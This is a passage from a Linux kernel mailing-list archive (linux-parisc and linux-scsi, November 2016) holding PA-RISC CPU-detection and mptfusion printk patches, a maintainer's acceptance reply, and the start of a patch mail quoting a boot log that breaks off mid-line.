 230                      current->ret_stack[index].fp,
 231                      frame_pointer,
 232                      (void *)current->ret_stack[index].func,
 233                      current->ret_stack[index].ret);
 234                 *ret = (unsigned long)panic;
 235                 return;
 236         }
 237 #endif

 286 /**
 287  * ftrace_graph_ret_addr - convert a potentially modified stack
return address
 288  *                         to its original value
 289  *
 290  * This function can be called by stack unwinding code to convert
a found stack
 291  * return address ('ret') to its original value, in case the function graph
 292  * tracer has modified it to be 'return_to_handler'.  If the address hasn't
 293  * been modified, the unchanged value of 'ret' is returned.
 294  *
 295  * 'idx' is a state variable which should be initialized by the
caller to zero
 296  * before the first call.
 297  *
 298  * 'retp' is a pointer to the return address on the stack.  It's ignored if
 299  * the arch doesn't have HAVE_FUNCTION_GRAPH_RET_ADDR_PTR defined.
 300  */
 301 #ifdef HAVE_FUNCTION_GRAPH_RET_ADDR_PTR
...
 317         for (i = 0; i <= index; i++)
 318                 if (task->ret_stack[i].retp == retp)
 319                         return task->ret_stack[i].ret;
 320
 321         return ret;
 322 }
 323 #else /* !HAVE_FUNCTION_GRAPH_RET_ADDR_PTR */

So you see the FP is used for heuristics to terminate a trace.

In the case of RP, I expect you should always have access to
save/restore RP from the sp-10 slot and that should be enough?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Enhance CPU detection code on PAT machines
Date: Thu, 17 Nov 2016 21:27:50 +0100
Lines: 113
Approved: news@gmane.org
Message-ID: <20161117202750.GA5812@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1479414509 25752 195.159.176.226 (17 Nov 2016 20:28:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 17 Nov 2016 20:28:29 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 17 21:28:25 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c7TIG-0005Yp-K8
	for glpp-linux-parisc@m.gmane.org; Thu, 17 Nov 2016 21:28:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751985AbcKQU2T (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 17 Nov 2016 15:28:19 -0500
Original-Received: from mout.gmx.net ([212.227.17.22]:63222 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752359AbcKQU2D (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 17 Nov 2016 15:28:03 -0500
Original-Received: from p100.box ([92.203.6.216]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0M3u86-1cxvBI0NpC-00rZPm; Thu, 17
 Nov 2016 21:27:54 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:hWj5rS65GAOekU8lHVdjP7jYuxCK4FGKDnTRsKwqBUR3I4Drpmd
 6+l5uFnqVHfnEXsJuXsS29R8xO0AmrVhX2p3hD2nKB/z79noeH0qeqkqb3bWeLNHyq/efFH
 WjaEpVLQHPw8Ht3f7B1IOr+X09e8UeVUYj0to7oFkeCWEz33d8nrTcCWwzJrfdoOaa8jJ8M
 6qr8KaBVTa6FKyG8ZbESA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:ujDH3EdQvAY=:mJsvJ77ZiAZG8gNX42lls2
 7FVCDBeg+odHooVGAPuoT3TqTnOocIvR2VMzpYT1c0b9b9XQ4RY0VYPoIkZ/KsoVQTVaW433C
 +e5Hao4r/Di7nmDHWyPLHwc9XkTRIVv93Pb7N6QDqsdi0pK0350zcQ0FehNSoCCJfyqEaEAek
 ujqaoE8sN6c+G71ILCB1oqWvfkJdAg/QoH+w/e9mHBo063/O0HkiiVO/Ry1mUM4PXOjagwpn1
 UB3Zdd2iwV2UvrtcuBotaYSnybJ+Kl1wUnQXT6/jlY9uw+Nh2PqYGy6NblJggz9Q/YVRoTEa0
 uZYv+BVXB0NsNPejRVPIDfojahZ9NPkcuvbmEGPAyx0i+vcHMNA73y2U/TjokuduQFSaQZ1MG
 l9OrfVu1q8NPRW+2myFe+1w1pzffY0wsEiuzo0OCGjCUslPHlR/HtxmkV/FMuVjnf8NZ1I+GO
 w4O/m+bQakkCY265zGTbNgUFGgWHaLlUUAiZAnPfTjMry7PSFSdjG3c0ej31ty4plQk3Nrdxc
 mPv0zDsqoB0zwXUulC3iBMhw0jAlG8fKC6+4qVyYgb6A4iCzjuIJmSL6cKMvuK198gms38ScI
 FqExue6hnkNnXu84TDLlJdBdu4R7HkqYU6sGCp2MWfvWCMtxFdeiZjOAyolNHpHph4U48rJKU
 9zUnr+2IUAAfQLLEiSPOpfy1Q25A5kbPxUckPJjwiPdQcmLxRLzQOZFUWhPF8/F9JshCbxp0a
 zFIu7sTRQcbfXGaBDly1O8giXXQO1VQ5ZLqup111+SVzB6QL/sGVRlKRnW0=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27060
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27060>

This patch fixes the debug code which runs during the inventory scan on
machines with PAT firmware.

Additionally print out the relationship between the detected logical CPU
number and it's physical location and physical cpu number.
This leads to information which can be used to feed numa-structures in
the kernel in later patches. An example output is from my single-CPU (2
cores) C8000 machine is:

  Logical CPU #0 is physical cpu #0 at 0xffff0000ffff15, hpa 0xfffffffffe780000
  Logical CPU #1 is physical cpu #1 at 0xffff0000ffff15, hpa 0xfffffffffe781000

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/pdcpat.h b/arch/parisc/include/asm/pdcpat.h
index 47539f1..e1d2890 100644
--- a/arch/parisc/include/asm/pdcpat.h
+++ b/arch/parisc/include/asm/pdcpat.h
@@ -289,7 +289,7 @@ extern int pdc_pat_cell_get_number(struct pdc_pat_cell_num *cell_info);
 extern int pdc_pat_cell_module(unsigned long *actcnt, unsigned long ploc, unsigned long mod, unsigned long view_type, void *mem_addr);
 extern int pdc_pat_cell_num_to_loc(void *, unsigned long);
 
-extern int pdc_pat_cpu_get_number(struct pdc_pat_cpu_num *cpu_info, void *hpa);
+extern int pdc_pat_cpu_get_number(struct pdc_pat_cpu_num *cpu_info, unsigned long hpa);
 
 extern int pdc_pat_pd_get_addr_map(unsigned long *actual_len, void *mem_addr, unsigned long count, unsigned long offset);
 
diff --git a/arch/parisc/kernel/firmware.c b/arch/parisc/kernel/firmware.c
index e5d7190..9d797ae 100644
--- a/arch/parisc/kernel/firmware.c
+++ b/arch/parisc/kernel/firmware.c
@@ -1258,7 +1258,7 @@ int pdc_pat_cell_module(unsigned long *actcnt, unsigned long ploc, unsigned long
  *
  * Retrieve the cpu number for the cpu at the specified HPA.
  */
-int pdc_pat_cpu_get_number(struct pdc_pat_cpu_num *cpu_info, void *hpa)
+int pdc_pat_cpu_get_number(struct pdc_pat_cpu_num *cpu_info, unsigned long hpa)
 {
 	int retval;
 	unsigned long flags;
diff --git a/arch/parisc/kernel/inventory.c b/arch/parisc/kernel/inventory.c
index 545f9d2..c9789d9 100644
--- a/arch/parisc/kernel/inventory.c
+++ b/arch/parisc/kernel/inventory.c
@@ -216,9 +216,9 @@ pat_query_module(ulong pcell_loc, ulong mod_index)
 	register_parisc_device(dev);	/* advertise device */
 
 #ifdef DEBUG_PAT
-	pdc_pat_cell_mod_maddr_block_t io_pdc_cell;
 	/* dump what we see so far... */
 	switch (PAT_GET_ENTITY(dev->mod_info)) {
+		pdc_pat_cell_mod_maddr_block_t io_pdc_cell;
 		unsigned long i;
 
 	case PAT_ENTITY_PROC:
@@ -259,9 +259,9 @@ pat_query_module(ulong pcell_loc, ulong mod_index)
 				pa_pdc_cell->mod[4 + i * 3]);	/* finish (ie end) */
 			printk(KERN_DEBUG 
 				"  IO_VIEW %ld: 0x%016lx 0x%016lx 0x%016lx\n", 
-				i, io_pdc_cell->mod[2 + i * 3],	/* type */
-				io_pdc_cell->mod[3 + i * 3],	/* start */
-				io_pdc_cell->mod[4 + i * 3]);	/* finish (ie end) */
+				i, io_pdc_cell.mod[2 + i * 3],	/* type */
+				io_pdc_cell.mod[3 + i * 3],	/* start */
+				io_pdc_cell.mod[4 + i * 3]);	/* finish (ie end) */
 		}
 		printk(KERN_DEBUG "\n");
 		break;
diff --git a/arch/parisc/kernel/processor.c b/arch/parisc/kernel/processor.c
index 0c2a94a..12cdec5 100644
--- a/arch/parisc/kernel/processor.c
+++ b/arch/parisc/kernel/processor.c
@@ -99,6 +99,7 @@ static int processor_probe(struct parisc_device *dev)
 	unsigned long txn_addr;
 	unsigned long cpuid;
 	struct cpuinfo_parisc *p;
+	struct pdc_pat_cpu_num cpu_info __maybe_unused;
 
 #ifdef CONFIG_SMP
 	if (num_online_cpus() >= nr_cpu_ids) {
@@ -123,10 +124,6 @@ static int processor_probe(struct parisc_device *dev)
 		ulong status;
 		unsigned long bytecnt;
 	        pdc_pat_cell_mod_maddr_block_t *pa_pdc_cell;
-#undef USE_PAT_CPUID
-#ifdef USE_PAT_CPUID
-		struct pdc_pat_cpu_num cpu_info;
-#endif
 
 		pa_pdc_cell = kmalloc(sizeof (*pa_pdc_cell), GFP_KERNEL);
 		if (!pa_pdc_cell)
@@ -145,22 +142,25 @@ static int processor_probe(struct parisc_device *dev)
 
 		kfree(pa_pdc_cell);
 
+		/* get the cpu number */
+		status = pdc_pat_cpu_get_number(&cpu_info, dev->hpa.start);
+		BUG_ON(PDC_OK != status);
+
+		pr_info("Logical CPU #%lu is physical cpu #%lu at 0x%lx, hpa %pa\n",
+			cpuid, cpu_info.cpu_num, cpu_info.cpu_loc, &dev->hpa.start);
+
+#undef USE_PAT_CPUID
 #ifdef USE_PAT_CPUID
 /* We need contiguous numbers for cpuid. Firmware's notion
  * of cpuid is for physical CPUs and we just don't care yet.
  * We'll care when we need to query PAT PDC about a CPU *after*
  * boot time (ie shutdown a CPU from an OS perspective).
  */
-		/* get the cpu number */
-		status = pdc_pat_cpu_get_number(&cpu_info, dev->hpa.start);
-
-		BUG_ON(PDC_OK != status);

From - Thu Nov 08 21:39:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.scsi,gmane.linux.ports.parisc
Subject: [PATCH] mptfusion: Fix printk continuations
Date: Thu, 17 Nov 2016 21:46:20 +0100
Lines: 61
Approved: news@gmane.org
Message-ID: <20161117204620.GA10093@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1479415597 19129 195.159.176.226 (17 Nov 2016 20:46:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 17 Nov 2016 20:46:37 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: linux-parisc@vger.kernel.org,
        John David Anglin <dave.anglin@bell.net>
To: linux-scsi@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-scsi-owner@vger.kernel.org Thu Nov 17 21:46:33 2016
Return-path: <linux-scsi-owner@vger.kernel.org>
Envelope-to: lnx-linux-scsi@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-scsi-owner@vger.kernel.org>)
	id 1c7TZn-0003p8-4g
	for lnx-linux-scsi@m.gmane.org; Thu, 17 Nov 2016 21:46:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752125AbcKQUqe (ORCPT <rfc822;lnx-linux-scsi@m.gmane.org>);
        Thu, 17 Nov 2016 15:46:34 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:62600 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752018AbcKQUqd (ORCPT <rfc822;linux-scsi@vger.kernel.org>);
        Thu, 17 Nov 2016 15:46:33 -0500
Original-Received: from p100.box ([92.203.6.216]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MF4iR-1c0cke3LnX-00GH24; Thu, 17
 Nov 2016 21:46:23 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:MFms9SpbzHoBfXpyn3Zp7tQmj1rkrj2nkMoWH8QcFpRMILiXNXs
 fWpbCaMMcIdr19shEwY9wG97oJ+HDvo5y2n4kQ7KkcqqkCKteGj/Ut0iV2LQ/P9n+ZyO4jI
 ZHcfO62J7nDQteZIY3ZyVFSSSE4jA6F5XqYwR/+T65aUXcwtGHgNbDPPScpHeRs4OPjM5J9
 ZUK7X16+HW1bzx+I1Jt4g==
X-UI-Out-Filterresults: notjunk:1;V01:K0:H5OSONdA1pU=:BSQWUyEm1RkPiLR10knps1
 5l55deoq8iPDytj5BpUBaj45xNNH+Vg6mWbifZMv3cUWPACEtVKUWpoaEc5ZJMnHznRV35k7h
 JATVmhts0Hcui5h8+MvGopzU/XizrpBerVPrxSfZiUEHqksVaBB//89+Pi/n0FHK4q21jDRG1
 zV0TC2OHJpvSpWYy05MXjxoI8RtbAT4A8cZpEdbc4e5qZM42iqqlLrBtsM6c/sLy1/ZRsmUcR
 nkIpEqo+FvKeI1DXE1VstUI9LSto3NRG1mh3VPJj+oaMU6lBtzSnQbFP/XIoPZUhBJ1EV22q9
 afy9I1gFLFwunrpaseZ3DkCkFF5kkrQ8WXut5B6/iwUu7rscUHbmB6cfi8q2iQKvFS5XKXxTV
 92vyG1itm9C9PfhHoAuvyvWsTYG+La/3PZOcLq4VU4ECFNGpwo5KqxLRw4rfduTzpVRpfzjF0
 Xut/eB62FY06C+OIplphR8+hQtOX+C6vsflZ10a6CfTtllMlo7ocuNZok7sMgVSDFDGnENT1I
 SmeP5bo45CEz/b3Pdm2AtrHsdOWe6PX/yqOq7TmvP466rRlxc04rUdMQbXBPFGmynNAy3MnPe
 XetCj3mzPRCQ1oIPPo/Wup5mYDvVds6LeJjotPpIIhN+INue++aTsLiJbNT4FADZZqkYsHs4y
 RYx+GnoWxY+ouahGIzxzLP84nXl7mBdYxzkHaGdCq1eSBV2FZmhmnCe2Ld5W6ZBrU4xfTtRR/
 I4b9rGXVty2vnNuAUOfG41CqQ44jVNr4shJqHx3aJtkLyLOAr6+kol+bhTI=
Original-Sender: linux-scsi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-scsi.vger.kernel.org>
X-Mailing-List: linux-scsi@vger.kernel.org
Xref: news.gmane.org gmane.linux.scsi:118868 gmane.linux.ports.parisc:27061
Archived-At: <http://permalink.gmane.org/gmane.linux.scsi/118868>

Fix the printk continuations when running the mptfusion driver.
This patch brings the capabilities into one single syslog line again:
   mptbase: ioc1: Initiating bringup
   ioc1: LSI53C1030 B2: Capabilities={Initiator,Target}
   scsi host3: ioc1: LSI53C1030 B2, FwRev=01032341h, Ports=1, MaxQ=255, IRQ=67

Tested on a parisc C8000 machine.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/drivers/message/fusion/mptbase.c b/drivers/message/fusion/mptbase.c
index 89c7ed1..fae96a2 100644
--- a/drivers/message/fusion/mptbase.c
+++ b/drivers/message/fusion/mptbase.c
@@ -2868,21 +2868,21 @@ MptDisplayIocCapabilities(MPT_ADAPTER *ioc)
 
 	printk(KERN_INFO "%s: ", ioc->name);
 	if (ioc->prod_name)
-		printk("%s: ", ioc->prod_name);
-	printk("Capabilities={");
+		pr_cont("%s: ", ioc->prod_name);
+	pr_cont("Capabilities={");
 
 	if (ioc->pfacts[0].ProtocolFlags & MPI_PORTFACTS_PROTOCOL_INITIATOR) {
-		printk("Initiator");
+		pr_cont("Initiator");
 		i++;
 	}
 
 	if (ioc->pfacts[0].ProtocolFlags & MPI_PORTFACTS_PROTOCOL_TARGET) {
-		printk("%sTarget", i ? "," : "");
+		pr_cont("%sTarget", i ? "," : "");
 		i++;
 	}
 
 	if (ioc->pfacts[0].ProtocolFlags & MPI_PORTFACTS_PROTOCOL_LAN) {
-		printk("%sLAN", i ? "," : "");
+		pr_cont("%sLAN", i ? "," : "");
 		i++;
 	}
 
@@ -2891,12 +2891,12 @@ MptDisplayIocCapabilities(MPT_ADAPTER *ioc)
 	 *  This would probably evoke more questions than it's worth
 	 */
 	if (ioc->pfacts[0].ProtocolFlags & MPI_PORTFACTS_PROTOCOL_TARGET) {
-		printk("%sLogBusAddr", i ? "," : "");
+		pr_cont("%sLogBusAddr", i ? "," : "");
 		i++;
 	}
 #endif
 
-	printk("}\n");
+	pr_cont("}\n");
 }
 
 /*=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=*/
--
To unsubscribe from this list: send the line "unsubscribe linux-scsi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Martin K. Petersen" <martin.petersen@oracle.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.scsi
Subject: Re: [PATCH] mptfusion: Fix printk continuations
Date: Thu, 17 Nov 2016 20:50:03 -0500
Organization: Oracle Corporation
Lines: 18
Approved: news@gmane.org
Message-ID: <yq1mvgx7e0k.fsf@sermon.lab.mkp.net>
References: <20161117204620.GA10093@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: blaine.gmane.org 1479433818 3485 195.159.176.226 (18 Nov 2016 01:50:18 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 18 Nov 2016 01:50:18 +0000 (UTC)
User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/24.5 (gnu/linux)
Cc: linux-scsi@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        linux-parisc@vger.kernel.org,
        John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 18 02:50:14 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c7YJh-0008IC-IP
	for glpp-linux-parisc@m.gmane.org; Fri, 18 Nov 2016 02:50:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751180AbcKRBuQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 17 Nov 2016 20:50:16 -0500
Original-Received: from aserp1040.oracle.com ([141.146.126.69]:33846 "EHLO
        aserp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751095AbcKRBuP (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 17 Nov 2016 20:50:15 -0500
Original-Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234])
        by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id uAI1o9Q1032342
        (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Fri, 18 Nov 2016 01:50:09 GMT
Original-Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235])
        by aserv0022.oracle.com (8.14.4/8.13.8) with ESMTP id uAI1o86W012269
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
        Fri, 18 Nov 2016 01:50:08 GMT
Original-Received: from abhmp0004.oracle.com (abhmp0004.oracle.com [141.146.116.10])
        by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id uAI1o6DC017881;
        Fri, 18 Nov 2016 01:50:07 GMT
Original-Received: from ca-mkp.ca.oracle.com (/10.159.214.123)
        by default (Oracle Beehive Gateway v4.0)
        with ESMTP ; Thu, 17 Nov 2016 17:50:06 -0800
In-Reply-To: <20161117204620.GA10093@p100.box> (Helge Deller's message of
        "Thu, 17 Nov 2016 21:46:20 +0100")
X-Source-IP: aserv0022.oracle.com [141.146.126.234]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27062 gmane.linux.scsi:118877
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27062>

>>>>> "Helge" == Helge Deller <deller@gmx.de> writes:

Helge> Fix the printk continuations when running the mptfusion driver.
Helge> This patch brings the capabilities into one single syslog line
Helge> again:
Helge>    mptbase: ioc1: Initiating bringup ioc1: LSI53C1030 B2:
Helge>    Capabilities={Initiator,Target} scsi host3: ioc1: LSI53C1030
Helge>    B2, FwRev=01032341h, Ports=1, MaxQ=255, IRQ=67

Applied to 4.10/scsi-queue.

-- 
Martin K. Petersen	Oracle Linux Engineering
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Start processors from a known state and fix races in parisc_setup_cache_timing
Date: Sun, 20 Nov 2016 21:12:36 -0500
Lines: 431
Approved: news@gmane.org
Message-ID: <763DCD56-C1AF-4564-8911-8B3847B08611@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: multipart/mixed; boundary=Apple-Mail-55-1023466952
X-Trace: blaine.gmane.org 1479694363 16777 195.159.176.226 (21 Nov 2016 02:12:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 21 Nov 2016 02:12:43 +0000 (UTC)
Cc: Helge Deller <helge.deller@steuerkanzlei-deller.de>,
        James Bottomley <James.Bottomley@HansenPartnership.com>
To: "linux-parisc@vger.kernel.org List" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 21 03:12:38 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c8e61-0003HP-7r
	for glpp-linux-parisc@m.gmane.org; Mon, 21 Nov 2016 03:12:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752625AbcKUCMj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 20 Nov 2016 21:12:39 -0500
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:58787 "EHLO
        mtlfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1752558AbcKUCMi (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 20 Nov 2016 21:12:38 -0500
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20161121021237.LVBJ15413.mtlfep01.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 20 Nov 2016 21:12:37 -0500
Original-Received: from [192.168.2.10] (really [184.144.120.170])
          by mtlspm02.bell.net with ESMTP
          id <20161121021237.GBNL3909.mtlspm02.bell.net@[192.168.2.10]>;
          Sun, 20 Nov 2016 21:12:37 -0500
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020205.58325815.0093,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27063
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27063>


--Apple-Mail-55-1023466952
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=us-ascii

Helge reported to me the following startup crash:

[    0.000000] Linux version 4.8.0-1-parisc64-smp =
(debian-kernel@lists.debian.org) (gcc version 5.4.1 20161019 (GCC) ) #1 =
SMP Debian 4.8.7-1 (2016-11-13)
[    0.000000] unwind_init: start =3D 0x40d5b5a0, end =3D 0x40db0740, =
entries =3D 21786
[    0.000000] FP[0] enabled: Rev 1 Model 16
[    0.000000] The 64-bit Kernel has started...
[    0.000000] Kernel default page size is 4 KB. Huge pages enabled with =
1 MB physical and 2 MB virtual size.
[    0.000000] bootconsole [ttyB0] enabled
[    0.000000] Initialized PDC Console for debugging.
[    0.000000] Determining PDC firmware type: System Map.
[    0.000000] model 00005bd0 00000491 00000000 00000002 782482ee =
100000f0 00000008 000000b2 000000b2
[    0.000000] vers  00000203
[    0.000000] CPUID vers 17 rev 7 (0x00000227)
[    0.000000] capabilities 0x3
[    0.000000] model 9000/785/J5000
[    0.000000] Total Memory: 2048 MB
[    0.000000] initrd: 7eace000-7ffeda26
[    0.000000] initrd: reserving 3eace000-3ffeda26 (mem_max 80000000)
[    0.000000] LCD display at fffffff0f05d0008,fffffff0f05d0000 =
registered
[    0.000000] percpu: Embedded 19 pages/cpu @0000000043417000 s39216 =
r8192 d30416 u77824
[    0.000000] SMP: bootstrap CPU ID is 0
[    0.000000] Built 1 zonelists in Zone order, mobility grouping on.  =
Total pages: 516096
[    0.000000] Kernel command line: root=3D/dev/sda3 rootfstype=3Dext4 =
HOME=3D/ panic=3D-1 console=3DttyS0 TERM=3Dvt102 palo_kernel=3D2/vmlinux
[    0.000000] PID hash table entries: 4096 (order: 3, 32768 bytes)
[    0.000000] Dentry cache hash table entries: 262144 (order: 9, =
2097152 bytes)
[    0.000000] Inode-cache hash table entries: 131072 (order: 8, 1048576 =
bytes)
[    0.000000] Memory: 2018528K/2097152K available (9272K kernel code, =
3053K rwdata, 1319K rodata, 1024K init, 840K bss, 78624K reserved, 0K =
cma-reserved)
[    0.000000] virtual kernel memory layout:
   0.000000]     vmalloc : 0x0000000000008000 - 0x000000003f000000   =
(1007 MB)
   0.000000]     memory  : 0x0000000040000000 - 0x00000000c0000000   =
(2048 MB)
   0.000000]       .init : 0x0000000040100000 - 0x0000000040200000   =
(1024 kB)
   0.000000]       .data : 0x0000000040b0e000 - 0x0000000040f533e0   =
(4372 kB)
   0.000000]       .text : 0x0000000040200000 - 0x0000000040b0e000   =
(9272 kB)
[    0.000000] Hierarchical RCU implementation.
[    0.000000]  Build-time adjustment of leaf fanout to 64.
[    0.000000] NR_IRQS:128
[    0.000000] clocksource: cr16: mask: 0xffffffffffffffff max_cycles: =
0x657a3c2da0, max_idle_ns: 440795224593 ns
[    0.000000] Console: colour dummy device 160x64
[    0.196000] Calibrating delay loop... 872.44 BogoMIPS (lpj=3D1744896)
[    0.264032] pid_max: default: 32768 minimum: 301
[    0.297351] Security Framework initialized
[    0.360039] Yama: disabled by default; enable with sysctl =
kernel.yama.*
[    0.412087] AppArmor: AppArmor disabled by boot time parameter
[    0.500468] Mount-cache hash table entries: 4096 (order: 3, 32768 =
bytes)
[    0.576040] Mountpoint-cache hash table entries: 4096 (order: 3, =
32768 bytes)
[    0.768910] Brought up 1 CPUs
[    0.811305] devtmpfs: initialized
[    0.861977] clocksource: jiffies: mask: 0xffffffff max_cycles: =
0xffffffff, max_idle_ns: 7645041785100000 ns
[    0.992465] NET: Registered protocol family 16
[    1.052962 <tel:1052962>] EISA bus registered
[    1.056311 <tel:1056311>] Searching for devices...
[    1.388031 <tel:1388031>] Found devices:
[    1.392053] 1 <tel:13920531>. Astro BC Runway Port at =
0xfffffffffed00000 [10] { 12, 0x0, 0x582, 0x0000b }
[    1.532048] 2 <tel:15320482>. Elroy PCI Bridge at 0xfffffffffed30000 =
[10/0] { 13, 0x0, 0x782, 0x0000a }
[    1.538406] 3 <tel:15384063>. Elroy PCI Bridge at 0xfffffffffed32000 =
[10/1] { 13, 0x0, 0x782, 0x0000a }
[    1.744052] 4 <tel:17440524>. Elroy PCI Bridge at 0xfffffffffed34000 =
